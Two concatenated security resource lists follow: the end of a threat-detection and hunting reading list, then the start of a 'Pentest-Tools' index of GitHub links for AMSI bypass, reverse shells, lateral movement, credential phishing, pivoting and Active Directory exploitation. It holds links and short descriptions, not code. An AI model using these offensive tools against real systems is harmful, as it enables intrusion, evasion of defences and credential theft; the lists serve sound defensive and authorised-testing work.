- [Detecting dynamic DNS domains in Splunk](https://www.splunk.com/blog/2015/08/04/detecting-dynamic-dns-domains-in-splunk.html)
- [Random Words on Entropy and DNS](https://www.splunk.com/blog/2015/10/01/random-words-on-entropy-and-dns.html)
- [Tracking Newly Registered Domains](https://isc.sans.edu/diary/Tracking+Newly+Registered+Domains/23127)
- [Suspicious Domains Tracking Dashboard](https://isc.sans.edu/forums/diary/Suspicious+Domains+Tracking+Dashboard/23046/)
- [Proactive Malicious Domain Search](https://isc.sans.edu/forums/diary/Proactive+Malicious+Domain+Search/23065/)
- [DNS is NOT Boring](https://www.first.org/resources/papers/conf2017/DNS-is-NOT-Boring-Using-DNS-to-Expose-and-Thwart-Attacks.pdf) - Using DNS to Expose and Thwart Attacks
- [Actionable Detects](https://prezi.com/vejpnxkm85ih/actionable-detects-dns-keynote/) - Blue Team Tactics
#### Command and Control
- [Rise of Legitimate Services for Backdoor Command and Control](docs/legit-services.pdf)
- [Watch Your Containers](https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/) - A malware using DogeCoin based DGA to generate C2 domain names.
##### DoH
- [Hiding in Plain Sight](https://blog.huntresslabs.com/hiding-in-plain-sight-part-2-dfec817c036f) - A malware abusing Google DoH
- [All the DoH](https://twitter.com/stvemillertime/status/1196788709292687360) - A Twitter thread on malware families and utilities that use DNS-over-HTTPS.
#### Osquery
- [osquery Across the Enterprise](https://medium.com/@palantir/osquery-across-the-enterprise-3c3c9d13ec55)
- [osquery for Security — Part 1](https://medium.com/@clong/osquery-for-security-b66fffdf2daf)
- [osquery for Security — Part 2](https://medium.com/@clong/osquery-for-security-part-2-2e03de4d3721) - Advanced osquery functionality, File integrity monitoring, process auditing, and more.
- [Tracking a stolen code-signing certificate with osquery](https://blog.trailofbits.com/2017/10/10/tracking-a-stolen-code-signing-certificate-with-osquery/)
- [Monitoring macOS hosts with osquery](https://blog.kolide.com/monitoring-macos-hosts-with-osquery-ba5dcc83122d)
- [Kolide's Blog](https://blog.kolide.com/)
- [The osquery Extensions Skunkworks Project](https://github.com/trailofbits/presentations/tree/master/Osquery%20Extensions)
#### Windows
- [Threat Hunting via Windows Event Logs](https://www.sans.org/summit-archives/file/summit-archive-1524493093.pdf)
- [Windows Logging Cheat Sheets](https://www.malwarearchaeology.com/cheat-sheets/)
- [Active Directory Threat Hunting](https://adsecurity.org/wp-content/uploads/2017/04/2017-BSidesCharm-DetectingtheElusive-ActiveDirectoryThreatHunting-Final.pdf)
- [Windows Hunting](https://github.com/beahunt3r/Windows-Hunting) - A collection of Windows hunting queries
- [Windows Commands Abused by Attackers](https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html)
- [JPCERT - Detecting Lateral Movement through Tracking Event Logs](https://blogs.jpcert.or.jp/en/2017/12/research-report-released-detecting-lateral-movement-through-tracking-event-logs-version-2.html)
- [Tool Analysis Result Sheet](https://jpcertcc.github.io/ToolAnalysisResultSheet/)
##### Sysmon
- [Splunking the Endpoint: Threat Hunting with Sysmon](https://medium.com/@haggis_m/splunking-the-endpoint-threat-hunting-with-sysmon-9dd956e3e1bd)
- [Hunting with Sysmon](https://medium.com/@haggis_m/hunting-with-sysmon-38de012e62e6)
- [Threat Hunting with Sysmon: Word Document with Macro](http://www.syspanda.com/index.php/2017/10/10/threat-hunting-sysmon-word-document-macro/)
- Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK
- [Part I (Event ID 7)](https://cyberwardog.blogspot.com.au/2017/03/chronicles-of-threat-hunter-hunting-for.html)
- [Part II (Event ID 10)](https://cyberwardog.blogspot.com.au/2017/03/chronicles-of-threat-hunter-hunting-for_22.html)
- Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk) ([botconf 2016 Slides](https://www.botconf.eu/wp-content/uploads/2016/11/PR12-Sysmon-UELTSCHI.pdf), [FIRST 2017 Slides](https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf))
- [The Sysmon and Threat Hunting Mimikatz wiki for the blue team](https://www.peerlyst.com/posts/the-sysmon-and-threat-hunting-mimikatz-wiki-for-the-blue-team-guurhart)
- [Splunkmon — Taking Sysmon to the Next Level](https://www.crypsisgroup.com/wp-content/uploads/2017/07/CG_WhitePaper_Splunkmon_1216-1.pdf)
- [Sysmon Threat Detection Guide](https://www.varonis.com/blog/sysmon-threat-detection-guide/) ([PDF](docs/varonis.com-SysmonThreatAnalysisGuide.pdf))
##### PowerShell
- Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science ([Paper](https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf), [Slides](https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science.pdf))
- [Hunting the Known Unknowns (With PowerShell)](https://conf.splunk.com/files/2016/slides/hunting-the-known-unknowns-the-powershell-edition.pdf)
- [HellsBells, Let's Hunt PowerShells!](https://www.splunk.com/blog/2017/07/06/hellsbells-lets-hunt-powershells.html)
- [Hunting for PowerShell Using Heatmaps](https://medium.com/@jshlbrd/hunting-for-powershell-using-heatmaps-69b70151fa5d)
#### Fingerprinting
- [JA3: SSL/TLS Client Fingerprinting for Malware Detection](https://engineering.salesforce.com/open-sourcing-ja3-92c9e53c3c41)
- [TLS Fingerprinting with JA3 and JA3S](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967)
- [HASSH - a profiling method for SSH Clients and Servers](https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c)
- [HASSH @BSides Canberra 2019 - Slides](https://github.com/benjeems/Presentations/blob/master/BSides%202019%20%20-%20HASSH%20-%20a%20Profiling%20Method%20for%20SSH%20Clients%20and%20Servers.pdf)
- [Finding Evil on the Network Using JA3/S and HASSH](https://engineering.salesforce.com/finding-evil-on-the-network-using-ja3-s-and-hassh-11431a8606e4)
- [RDP Fingerprinting - Profiling RDP Clients with JA3 and RDFP](https://medium.com/@0x4d31/rdp-client-fingerprinting-9e7ac219f7f4)
- [Effective TLS Fingerprinting Beyond JA3](https://www.ntop.org/ndpi/effective-tls-fingerprinting-beyond-ja3/)
- [TLS Fingerprinting in the Real World](https://blogs.cisco.com/security/tls-fingerprinting-in-the-real-world)
- [HTTP Client Fingerprinting Using SSL Handshake Analysis](https://www.ssllabs.com/projects/client-fingerprinting/) (source code: [mod_sslhaf](https://github.com/ssllabs/sslhaf)
- [TLS fingerprinting - Smarter Defending & Stealthier Attacking](https://blog.squarelemon.com/tls-fingerprinting/)
- [JA3er](https://ja3er.com) - a DB of JA3 fingerprints
- [An Introduction to HTTP fingerprinting](https://www.net-square.com/httprint_paper.html)
- [TLS Fingerprints](https://tlsfingerprint.io/) collected from the University of Colorado Boulder campus network
- [The use of TLS in Censorship Circumvention](https://tlsfingerprint.io/static/frolov2019.pdf)
- [TLS Beyond the Browser: Combining End Host and Network Data to Understand Application Behavior](https://dl.acm.org/doi/pdf/10.1145/3355369.3355601)
- [HTTPS traffic analysis and client identification using passive SSL/TLS fingerprinting](https://link.springer.com/article/10.1186/s13635-016-0030-7)
- [Markov Chain Fingerprinting to Classify Encrypted Traffic](https://drakkar.imag.fr/IMG/pdf/1569811033.pdf)
- [HeadPrint: Detecting Anomalous Communications through Header-based Application Fingerprinting](https://www.conand.me/publications/bortolameotti-headprint-2020.pdf)
#### Research Papers
- [Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains](https://www.lockheedmartin.com/content/dam/lockheed/data/corporate/documents/LM-White-Paper-Intel-Driven-Defense.pdf)
- [The Diamond Model of Intrusion Analysis](http://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf)
- [EXPOSURE: Finding Malicious Domains Using Passive DNS Analysis](https://www.cs.ucsb.edu/~chris/research/doc/ndss11_exposure.pdf)
- A Comprehensive Approach to Intrusion Detection Alert Correlation ([Paper](https://www.cs.ucsb.edu/~vigna/publications/2004_valeur_vigna_kruegel_kemmerer_TDSC_Correlation.pdf), [Dissertation](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.115.8310&rep=rep1&type=pdf))
- [On Botnets that use DNS for Command and Control](http://www.few.vu.nl/~herbertb/papers/feederbot_ec2nd11.pdf)
- [Intelligent, Automated Red Team Emulation](https://dl.acm.org/citation.cfm?id=2991111)
- [Machine Learning for Encrypted Malware Traffic Classification](https://dl.acm.org/doi/pdf/10.1145/3097983.3098163)
#### Blogs
- [David Bianco's Blog](https://detect-respond.blogspot.com)
- [DFIR and Threat Hunting Blog](http://findingbad.blogspot.com)
- [CyberWardog's Blog](https://medium.com/@Cyb3rWard0g) ([old](https://cyberwardog.blogspot.com))
- [Chris Sanders' Blog](https://chrissanders.org)
- [Kolide Blog](https://blog.kolide.com/)
- [Anton Chuvakin](https://medium.com/anton-on-security)
- [Alexandre Teixeira](https://ateixei.medium.com)
### Videos
- [SANS Threat Hunting and IR Summit 2017](https://www.youtube.com/playlist?list=PLfouvuAjspTr95R60Kt7ZcoerR6tYoCLA)
- [SANS Threat Hunting and IR Summit 2016](https://www.youtube.com/playlist?list=PLfouvuAjspTokaa-LdUHqszL-KACkCsKT)
- [BotConf 2016 - Advanced Incident Detection and Threat Hunting using Sysmon and Splunk](https://www.youtube.com/watch?v=vv_VXntQTpE)
- [BSidesCharm 2017 - Detecting the Elusive: Active Directory Threat Hunting](https://www.youtube.com/watch?v=9Uo7V9OUaUw)
- [BSidesAugusta 2017 - Machine Learning Fueled Cyber Threat Hunting](https://www.youtube.com/watch?v=c-c-IQ5pFXw)
- [Toppling the Stack: Outlier Detection for Threat Hunters](https://www.youtube.com/watch?v=7q7GGg-Ws9s)
- [BSidesPhilly 2017 - Threat Hunting: Defining the Process While Circumventing Corporate Obstacles](https://www.youtube.com/watch?v=bDdsGBCUa8I)
- [Black Hat 2017 - Revoke-Obfuscation: PowerShell Obfuscation Detection (And Evasion) Using Science](https://www.youtube.com/watch?v=x97ejtv56xw)
- [DefCon 25 - MS Just Gave the Blue Team Tactical Nukes](https://www.youtube.com/watch?v=LUtluTaEAUU)
- [BSides London 2017 - Hunt or be Hunted](https://www.youtube.com/watch?v=19H7j_sZcKc)
- [SecurityOnion 2017 - Pivoting Effectively to Catch More Bad Guys](https://www.youtube.com/watch?v=_QVhMPGtIeU)
- [SkyDogCon 2016 - Hunting: Defense Against The Dark Arts](https://www.youtube.com/watch?v=mKxGulV2Z74)
- [BSidesAugusta 2017 - Don't Google 'PowerShell Hunting'](https://www.youtube.com/watch?v=1mfVPLPxKTc)
- [BSidesAugusta 2017 - Hunting Adversaries w Investigation Playbooks & OpenCNA](https://www.youtube.com/watch?v=8qM-DnmHNv8)
- [Visual Hunting with Linked Data](https://www.youtube.com/watch?v=98MrgfTFeMo)
- [RVAs3c - Pyramid of Pain: Intel-Driven Detection/Response to Increase Adversary's Cost](https://www.youtube.com/watch?v=zlAWbdSlhaQ)
- [BSidesLV 2016 - Hunting on the Endpoint w/ Powershell](https://www.youtube.com/watch?v=2MrrOxsJk_M)
- [Derbycon 2015 - Intrusion Hunting for the Masses A Practical Guide](https://www.youtube.com/watch?v=MUUseTJp3jM)
- [BSides DC 2016 - Practical Cyborgism: Getting Start with Machine Learning for Incident Detection](https://www.youtube.com/watch?v=2FvP7nwb2UE&feature=youtu.be)
- [SANS Webcast 2018 - What Event Logs? Part 1: Attacker Tricks to Remove Event Logs](https://www.youtube.com/watch?v=7JIftAw8wQY)
- [Profiling And Detecting All Things SSL With JA3](https://www.youtube.com/watch?v=oprPu7UIEuk)
- [ACoD 2019 - HASSH SSH Client/Server Profiling](https://www.youtube.com/watch?v=kG-kenOypLk)
- [QueryCon 2018](https://www.youtube.com/playlist?list=PLlSdCcsTOu5STvaoPlr-PJE-zbYmlAGrX) - An annual conference for the osquery open-source community ([querycon.io](https://querycon.io))
- [Visual Hunting with Linked Data Graphs](https://www.youtube.com/watch?v=EpK7MkWCh1I)
- [SecurityOnion Con 2018 - Introduction to Data Analysis](https://www.youtube.com/watch?v=A6hBoeSNJJw)
### Trainings
- [SANS SEC555](https://www.sans.org/course/siem-with-tactical-analytics) - SIEM with Tactical Analytics.
- [SpecterOps Adversary Tactics: PowerShell](https://github.com/specterops/at-ps) (FREE)
- [SpecterOps Adversary Tactics: Detection](https://specterops.io/how-we-help/training-offerings/adversary-tactics-detection)
- [eLearnSecurity THP](https://www.elearnsecurity.com/course/threat_hunting_professional/) - Threat Hunting Professional
### Twitter
- ["Awesome Detection" Twitter List](https://twitter.com/0x4d31/lists/awesome-detection) - Security guys who tweet about threat detection, hunting, DFIR, and red teaming
## Threat Simulation
A curated list of awesome adversary simulation resources
### Tools
- [MITRE CALDERA](https://github.com/mitre/caldera) - An automated adversary emulation system that performs post-compromise adversarial behavior within Windows Enterprise networks.
- [APTSimulator](https://github.com/NextronSystems/APTSimulator) - A Windows Batch script that uses a set of tools and output files to make a system look as if it was compromised.
- [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Small and highly portable detection tests mapped to the Mitre ATT&CK Framework.
- [Network Flight Simulator](https://github.com/alphasoc/flightsim) - flightsim is a lightweight utility used to generate malicious network traffic and help security teams to evaluate security controls and network visibility.
- [Metta](https://github.com/uber-common/metta) - A security preparedness tool to do adversarial simulation.
- [Red Team Automation (RTA)](https://github.com/endgameinc/RTA) - RTA provides a framework of scripts designed to allow blue teams to test their detection capabilities against malicious tradecraft, modeled after MITRE ATT&CK.
- [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - Payload Generation Framework.
- [CACTUSTORCH](https://github.com/mdsecactivebreach/CACTUSTORCH) - Payload Generation for Adversary Simulations.
- [DumpsterFire](https://github.com/TryCatchHCF/DumpsterFire) - A modular, menu-driven, cross-platform tool for building repeatable, time-delayed, distributed security events.
- [Empire](https://github.com/EmpireProject/Empire)([website](http://www.powershellempire.com)) - A PowerShell and Python post-exploitation agent.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/) - A PowerShell Post-Exploitation Framework.
- [RedHunt-OS](https://github.com/redhuntlabs/RedHunt-OS) - A Virtual Machine for Adversary Emulation and Threat Hunting. RedHunt aims to be a one stop shop for all your threat emulation and threat hunting needs by integrating attacker's arsenal as well as defender's toolkit to actively identify the threats in your environment.
- [Infection Monkey](https://github.com/guardicore/monkey) - An open source Breach and Attack Simulation (BAS) tool that assesses the resiliency of private and public cloud environments to post-breach attacks and lateral movement.
- [Splunk Attack Range](https://github.com/splunk/attack_range) - A tool that allows you to create vulnerable instrumented local or cloud environments to simulate attacks against and collect the data into Splunk.
### Resources
- [MITRE's Adversary Emulation Plans](https://attack.mitre.org/wiki/Adversary_Emulation_Plans)
- [Awesome Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) - A list of awesome red teaming resources
- [Red-Team Infrastructure Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) - Wiki to collect Red Team infrastructure hardening resources.
- [Payload Generation using SharpShooter](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter/)
- [SpecterOps Blog](https://posts.specterops.io/)
- [Threat Hunting](https://posts.specterops.io/tagged/threat-hunting)
- [Advanced Threat Tactics](https://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/) - A free course on red team operations and adversary simulations.
- [Signal the ATT&CK: Part 1](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/signal-att-and-ck-part-1.html) - Modelling APT32 in CALDERA
- [Red Teaming/Adversary Simulation Toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit) - A collection of open source and commercial tools that aid in red team operations.
- [C2 Matrix](https://www.thec2matrix.com/matrix) ([Google Sheets](https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc))
## Contribute
Contributions welcome! Read the [contribution guidelines](CONTRIBUTING.md) first.
## License
[](http://creativecommons.org/publicdomain/zero/1.0)
To the extent possible under law, Adel "0x4D31" Karimi has waived all copyright and
related or neighboring rights to this work.
|
# Pentest-Tools
* [General usefull Powershell Scripts](#General-usefull-Powershell-Scripts)
* [AMSI Bypass restriction Bypass](#AMSI-Bypass-restriction-Bypass)
* [Payload Hosting](#Payload-Hosting)
* [Network Share Scanner](#Network-Share-Scanner)
* [Lateral Movement](#Lateral-Movement)
* [Reverse Shellz](#Reverse-Shellz)
* [POST Exploitation](#POST-Exploitation)
* [Pivot](#Pivot)
* [Backdoor finder](#Backdoor-finder)
* [Persistence on windows](#Persistence-on-windows)
* [Web Application Pentest](#Web-Application-Pentest)
* [Framework Discovery](#Framework-Discovery)
* [Framework Scanner / Exploitation](#Framework-Scanner-/-Exploitation)
* [Web Vulnerability Scanner / Burp Plugins](#Web-Vulnerability-Scanner-/-Burp-Plugins)
* [Network- / Service-level Vulnerability Scanner](#Network--/-Service--level-Vulnerability-Scanner)
* [Crawler](#Crawler)
* [Web Exploitation Tools](#Web-Exploitation-Tools)
* [Windows Privilege Escalation / Audit](#Windows-Privilege-Escalation-/-Audit)
* [T3 Enumeration](#T3-Enumeration)
* [Linux Privilege Escalation / Audit](#Linux-Privilege-Escalation-/-Audit)
* [Credential harvesting Windows Specific](#Credential-harvesting-Windows-Specific)
* [Credential harvesting Linux Specific](#Credential-harvesting-Linux-Specific)
* [Data Exfiltration - DNS/ICMP/Wifi Exfiltration](#Data-Exfiltration---DNS/ICMP/Wifi-Exfiltration)
* [Git Specific](#Git-Specific)
* [Reverse Engineering / decompiler](#Reverse-Engineering-/-decompiler)
* [Forensics](#Forensics)
* [Network Attacks](#Network-Attacks)
* [Specific MITM service Exploitation](#Specific-MITM-service-Exploitation)
* [Sniffing / Evaluation / Filtering](#Sniffing-/-Evaluation-/-Filtering)
* [Scanner / Exploitation-Frameworks / Automation](#Scanner-/-Exploitation-Frameworks-/-Automation)
* [Default Credential Scanner](#Default-Credential-Scanner)
* [Payload Generation / AV-Evasion / Malware Creation](#Payload-Generation-/-AV-Evasion-/-Malware-Creation)
* [Domain Finding / Subdomain Enumeration](#Domain-Finding-/-Subdomain-Enumeration)
* [Scanner network level](#Scanner)
* [Email Gathering](#Email-Gathering)
* [Domain Auth + Exploitation](#Domain-Auth-+-Exploitation)
* [Network service - Login Brute Force + Wordlist attacks](#Login-Brute-Force-+-Wordlist-attacks)
* [Command & Control Frameworks](#Command-&-Control-Frameworks)
* [Wifi Tools](#Wifi-Tools)
* [Raspberri PI Exploitation](#Raspberri-PI-Exploitation)
* [Social Engeneering](#Social-Engeneering)
* [Wordlists / Wordlist generators](#Wordlists-/-Wordlist-generators)
* [Obfuscation](#Obfuscation)
* [Source Code Analysis](#Source-Code-Analysis)
* [No category yet](#No-category-yet)
* [Industrial Control Systems](#Industrial-Control-Systems)
* [NAC bypass](#Network-access-control-bypass)
* [JMX Exploitation](#JMX-Exploitation)
And many more. I created this repo to have an overview over my starred repos. I was not able to filter in categories before. Feel free to use it for yourself. I do not list Kali default tools as well as several testing tools which are state of the art. STRG+F searches are helpful here.
# Windows Active Directory Pentest
### General usefull Powershell Scripts
https://github.com/S3cur3Th1sSh1t/WinPwn - :sunglasses:
https://github.com/dafthack/MailSniper
https://github.com/putterpanda/mimikittenz
https://github.com/dafthack/DomainPasswordSpray
https://github.com/mdavis332/DomainPasswordSpray - same but kerberos auth for more stealth and lockout-sleep
https://github.com/jnqpblc/SharpSpray - domainpasswordspray executable with lockout-sleep
https://github.com/Arvanaghi/SessionGopher
https://github.com/samratashok/nishang
https://github.com/PowerShellMafia/PowerSploit
https://github.com/fdiskyou/PowerOPS
https://github.com/giMini/PowerMemory
https://github.com/Kevin-Robertson/Inveigh
https://github.com/MichaelGrafnetter/DSInternals
https://github.com/PowerShellEmpire/PowerTools
https://github.com/FuzzySecurity/PowerShell-Suite
https://github.com/hlldz/Invoke-Phant0m
https://github.com/leoloobeek/LAPSToolkit
https://github.com/n00py/LAPSDumper - remote LAPS dumping from linux
https://github.com/sense-of-security/ADRecon
https://github.com/adrecon/ADRecon - supported version - really nice Excel-Sheet for an AD-Overview
https://github.com/Arno0x/PowerShellScripts
https://github.com/S3cur3Th1sSh1t/Grouper
https://github.com/l0ss/Grouper2
https://github.com/NetSPI/PowerShell
https://github.com/NetSPI/PowerUpSQL
https://github.com/GhostPack - Various Powersploit Tasks in C#
https://github.com/Kevin-Robertson/Powermad - Adidns Attacks
## AMSI Bypass restriction Bypass
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://github.com/Flangvik/AMSI.fail
https://github.com/p3nt4/PowerShdll
https://github.com/jaredhaight/PSAttack
https://github.com/Cn33liz/p0wnedShell
https://github.com/cobbr/InsecurePowerShell
https://github.com/Mr-Un1k0d3r/PowerLessShell
https://github.com/bitsadmin/nopowershell C# Powershell
https://github.com/OmerYa/Invisi-Shell
https://github.com/Hackplayers/Salsa-tools - Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP and AV bypass, AMSI patched
https://github.com/padovah4ck/PSByPassCLM - Constrained language mode bypass
https://github.com/rasta-mouse/AmsiScanBufferBypass
https://github.com/itm4n/VBA-RunPE - Applocker Bypass
https://github.com/cfalta/PowerShellArmoury
https://github.com/Mr-B0b/SpaceRunner - This tool enables the compilation of a C# program that will execute arbitrary PowerShell code, without launching PowerShell processes through the use of runspace.
https://github.com/RythmStick/AMSITrigger - The Hunt for Malicious Strings
https://github.com/rmdavy/AMSI_Ordinal_Bypass - Bypass AMSI and Defender using Ordinal Values in VBS
https://github.com/mgeeky/Stracciatella - OpSec-safe Powershell runspace from within C# (aka SharpPick) with AMSI, CLM and Script Block Logging disabled at startup
https://github.com/med0x2e/NoAmci - Using DInvoke to patch AMSI.dll in order to bypass AMSI detections triggered when loading .NET tradecraft via Assembly.Load().
https://github.com/rvrsh3ll/NoMSBuild - MSBuild without MSbuild.exe
https://github.com/bohops/UltimateWDACBypassList - A centralized resource for previously documented WDAC bypass techniques
https://github.com/jxy-s/herpaderping - Process Herpaderping proof of concept, tool, and technical deep dive. Process Herpaderping bypasses security products by obscuring the intentions of a process.
https://github.com/Cn33liz/MSBuildShell - MSBuildShell, a Powershell Host running within MSBuild.exe
## Payload Hosting
https://github.com/kgretzky/pwndrop - Self-deployable file hosting service for red teamers, allowing to easily upload and share payloads over HTTP and WebDAV.
https://github.com/sc0tfree/updog - Updog is a replacement for Python's SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use http basic auth.
## Network Share Scanner
Find Juicy Stuff
https://github.com/SnaffCon/Snaffler - a tool for pentesters to help find delicious candy, by @l0ss and @Sh3r4
https://github.com/djhohnstein/SharpShares - Enumerate all network shares in the current domain. Also, can resolve names to IP addresses.
https://github.com/vivami/SauronEye - Search tool to find specific files containing specific words, i.e. files containing passwords..
https://github.com/leftp/VmdkReader - .NET 4.0 Console App to browse VMDK / VHD images and extract files
## Reverse Shellz
https://github.com/xct/xc - A small reverse shell for Linux & Windows
https://github.com/cytopia/pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)
https://github.com/Kudaes/LOLBITS - C# reverse shell using Background Intelligent Transfer Service (BITS) as communication protocol and direct syscalls for EDR user-mode hooking evasion.
## Backdoor finder
https://github.com/linuz/Sticky-Keys-Slayer
https://github.com/ztgrace/sticky_keys_hunter
https://github.com/countercept/doublepulsar-detection-script
# Lateral Movement
https://github.com/0xthirteen/SharpRDP
https://github.com/0xthirteen/MoveKit - WMI,SMB,RDP,SCM,DCOM Lateral Movement techniques
https://github.com/0xthirteen/SharpMove - WMI, SCM, DCOM, Task Scheduler and more
https://github.com/rvrsh3ll/SharpCOM - C# Port of Invoke-DCOM
https://github.com/malcomvetter/CSExec - An implementation of PSExec in C#
https://github.com/byt3bl33d3r/CrackMapExec
https://github.com/cube0x0/SharpMapExec
https://github.com/nccgroup/WMIcmd
https://github.com/rasta-mouse/MiscTools - CsExec, CsPosh (Remote Powershell Runspace), CsWMI,CsDCOM
https://github.com/byt3bl33d3r/DeathStar - Automate Getting Dom-Adm
https://github.com/SpiderLabs/portia - automated lateral movement
https://github.com/Screetsec/Vegile - backdoor / rootkit
https://github.com/DanMcInerney/icebreaker - automation for various mitm attacks + vulns
https://github.com/MooseDojo/apt2 - automated penetration toolkit
https://github.com/hdm/nextnet - Netbios Network interface Enumeration (discovery of dual homed hosts)
https://github.com/mubix/IOXIDResolver - Find dual homed hosts over DCOM
https://github.com/Hackplayers/evil-winrm
https://github.com/bohops/WSMan-WinRM - A collection of proof-of-concept source code and scripts for executing remote commands over WinRM using the WSMan.Automation COM object
https://github.com/dirkjanm/krbrelayx - unconstrained delegation, printer bug (MS-RPRN) exploitation, Remote ADIDNS attacks
https://github.com/Mr-Un1k0d3r/SCShell - Fileless lateral movement tool that relies on ChangeServiceConfigA to run command
https://github.com/rvazarkar/GMSAPasswordReader - AD Bloodhound 3.0 Path
https://github.com/fdiskyou/hunter
https://github.com/360-Linton-Lab/WMIHACKER - A Bypass Anti-virus Software Lateral Movement Command Execution Tool
https://github.com/leechristensen/SpoolSample - PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface.
https://github.com/leftp/SpoolSamplerNET - Implementation of SpoolSample without rDLL
https://github.com/lexfo/rpc2socks - Post-exploit tool that enables a SOCKS tunnel via a Windows host using an extensible custom RPC proto over SMB through a named pipe.
https://github.com/checkymander/sshiva - C# application that allows you to quick run SSH commands against a host or list of hosts
https://github.com/dev-2null/ADCollector - A lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending.
# POST Exploitation
https://github.com/mubix/post-exploitation
https://github.com/emilyanncr/Windows-Post-Exploitation
https://github.com/nettitude/Invoke-PowerThIEf - Automatically scan any windows or tabs for login forms and then record what gets posted. A notification will appear when some have arrived.
https://github.com/ThunderGunExpress/BADministration - McAfee Epo or Solarwinds post exploitation
https://github.com/bohops/SharpRDPHijack - A POC Remote Desktop (RDP) session hijack utility for disconnected sessions
https://github.com/antonioCoco/RunasCs - RunasCs - Csharp and open version of windows builtin runas.exe
https://github.com/klsecservices/Invoke-Vnc - Powershell VNC injector
https://github.com/mandatoryprogrammer/CursedChrome - Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.
https://github.com/djhohnstein/WireTap - .NET 4.0 Project to interact with video, audio and keyboard hardware.
https://github.com/GhostPack/Lockless - Lockless allows for the copying of locked files.
https://github.com/slyd0g/SharpClipboard - C# Clipboard Monitor
https://github.com/infosecn1nja/SharpDoor - SharpDoor is alternative RDPWrap written in C# to allowed multiple RDP (Remote Desktop) sessions by patching termsrv.dll file.
## Post Exploitation - Phish Credentials
https://github.com/hlldz/pickl3 - Windows active user credential phishing tool
https://github.com/shantanu561993/SharpLoginPrompt - Creates a login prompt to gather username and password of the current user. This project allows red team to phish username and password of the current user without touching lsass and having adminitrator credentials on the system.
https://github.com/Dviros/CredsLeaker
https://github.com/bitsadmin/fakelogonscreen
https://github.com/CCob/PinSwipe - Phish Smartcard PIN
# Wrapper for various tools
https://github.com/S3cur3Th1sSh1t/PowerSharpPack - Various .NET Tools wrapped in Powershell
https://github.com/bohops/GhostBuild - GhostBuild is a collection of simple MSBuild launchers for various GhostPack/.NET projects
https://github.com/rvrsh3ll/Rubeus-Rundll32 - rundll32 Wrapper for Rubeus
https://github.com/checkymander/Zolom - execute Python in C# via ironpython
# Pivot
https://github.com/0x36/VPNPivot
https://github.com/securesocketfunneling/ssf
https://github.com/p3nt4/Invoke-SocksProxy
https://github.com/sensepost/reGeorg - Webshell tunnel over socks proxy - pentesters dream
https://github.com/hayasec/reGeorg-Weblogic - reGeorg customized for weblogic
https://github.com/nccgroup/ABPTTS TCP tunneling over HTTP/HTTPS for web application servers like reGeorg
https://github.com/RedTeamOperations/PivotSuite
https://github.com/trustedsec/egressbuster - check for internet access over open ports / egress filtering
https://github.com/vincentcox/bypass-firewalls-by-DNS-history
https://github.com/shantanu561993/SharpChisel - C# Wrapper around Chisel from
https://github.com/jpillora/chisel - A fast TCP tunnel over HTTP
https://github.com/esrrhs/pingtunnel - ping tunnel is a tool that advertises tcp/udp/socks5 traffic as icmp traffic for forwarding.
https://github.com/sysdream/ligolo - Reverse Tunneling made easy for pentesters, by pentesters
https://github.com/nccgroup/SocksOverRDP - Socks5/4/4a Proxy support for Remote Desktop Protocol / Terminal Services / Citrix / XenApp / XenDesktop
https://github.com/blackarrowsec/mssqlproxy - mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse
# Active Directory Audit and exploit tools
https://github.com/mwrlabs/SharpGPOAbuse
https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/SharpHound3 - C# Data Collector for the BloodHound Project, Version 3
https://github.com/chryzsh/awesome-bloodhound
https://github.com/hausec/Bloodhound-Custom-Queries
https://github.com/CompassSecurity/BloodHoundQueries
https://github.com/vletoux/pingcastle
https://github.com/cyberark/ACLight
https://github.com/canix1/ADACLScanner
https://github.com/fox-it/Invoke-ACLPwn
https://github.com/fox-it/aclpwn.py - same as invoke-aclpwn but in python
https://github.com/dirkjanm/ldapdomaindump - Active Directory information dumper via LDAP
https://github.com/tothi/rbcd-attack - Kerberos Resource-Based Constrained Delegation Attack from Outside using Impacket
https://github.com/NotMedic/NetNTLMtoSilverTicket - SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
